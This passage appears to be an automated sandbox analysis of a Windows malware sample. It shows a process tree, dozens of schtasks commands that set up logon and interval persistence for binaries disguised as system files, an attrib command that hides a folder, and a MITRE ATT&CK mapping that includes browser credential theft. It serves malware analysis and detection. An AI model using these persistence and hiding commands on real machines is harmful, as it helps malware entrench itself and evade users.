        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:2616
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2bz0fka2\2bz0fka2.cmdline"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3420
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCC1A.tmp" "c:\Users\Admin\AppData\Roaming\Windows\Defender\CSCF09BEBF939504B6E8589ECB748E8D1D.TMP"
        9⤵
        
        PID:2392
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\un1sidsf\un1sidsf.cmdline"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2268
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCD14.tmp" "c:\BrowserSvc\CSC76E1D21A1D0C436AB82823A49E5CC29.TMP"
        9⤵
        
        PID:1612
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\w0d25ls4\w0d25ls4.cmdline"
        8⤵
        Drops file in Program Files directory
        
        PID:1944
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCDC0.tmp" "c:\Program Files\Windows Sidebar\CSC78B64155219E4C4782296F921D13FB71.TMP"
        9⤵
        
        PID:2648
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vje4vslr\vje4vslr.cmdline"
        8⤵
        
        PID:4316
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCE6C.tmp" "c:\Users\Public\Libraries\CSC61FDEA9B4AC444B7B26390FFD17C8080.TMP"
        9⤵
        
        PID:1980
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\yTUgJb9cQC.bat"
        8⤵
        
        PID:3256
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        9⤵
        
        PID:2972
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        9⤵
        
        PID:3532
        
        C:\BrowserSvc\msAgentreviewCommon.exe
        
        "C:\BrowserSvc\msAgentreviewCommon.exe"
        9⤵
        Executes dropped EXE
        
        PID:3768
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c attrib "+h " "+s " C:\Users\Admin\AppData\Roaming\WinSFXConnectDevicesPlatform
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:568
  - - C:\Windows\system32\attrib.exe
      attrib "+h " "+s " C:\Users\Admin\AppData\Roaming\WinSFXConnectDevicesPlatform
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2836

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShellR" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\es-ES\RunShell.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShell" /sc ONLOGON /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\es-ES\RunShell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShellR" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\es-ES\RunShell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\BrowserSvc\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3336

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\BrowserSvc\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3692

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\BrowserSvc\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1880

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Sidebar\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1796

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4608

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Sidebar\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShellR" /sc MINUTE /mo 8 /tr "'C:\BrowserSvc\RunShell.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShell" /sc ONLOGON /tr "'C:\BrowserSvc\RunShell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:240

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShellR" /sc MINUTE /mo 11 /tr "'C:\BrowserSvc\RunShell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Libraries\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3428

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Public\Libraries\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\Users\Public\Libraries\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShellR" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1984

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShell" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4284

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShellR" /sc MINUTE /mo 13 /tr "'C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4128

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5088

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4648

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4816

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1512

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 14 /tr "'C:\Windows\Performance\WinSAT\DataStore\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\Performance\WinSAT\DataStore\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\Windows\Performance\WinSAT\DataStore\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1704

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 5 /tr "'C:\Program Files\7-Zip\Lang\upfc.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 9 /tr "'C:\Program Files\7-Zip\Lang\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Multimedia Platform\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Portable Devices\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1788

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2076

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Portable Devices\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msAgentreviewCommonm" /sc MINUTE /mo 11 /tr "'C:\BrowserSvc\msAgentreviewCommon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4076

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msAgentreviewCommon" /sc ONLOGON /tr "'C:\BrowserSvc\msAgentreviewCommon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msAgentreviewCommonm" /sc MINUTE /mo 12 /tr "'C:\BrowserSvc\msAgentreviewCommon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 7 /tr "'C:\Program Files\Uninstall Information\upfc.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1880

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:904

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 12 /tr "'C:\Program Files\Uninstall Information\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1000

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 5 /tr "'C:\Windows\Containers\unsecapp.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4816

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Windows\Containers\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1872

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 11 /tr "'C:\Windows\Containers\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3992

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Mail\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Mail\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:472

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\BrowserSvc\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\BrowserSvc\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\BrowserSvc\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss.exec" /sc MINUTE /mo 13 /tr "'C:\BrowserSvc\csrss.exe.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2964

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss.exe" /sc ONLOGON /tr "'C:\BrowserSvc\csrss.exe.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss.exec" /sc MINUTE /mo 10 /tr "'C:\BrowserSvc\csrss.exe.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery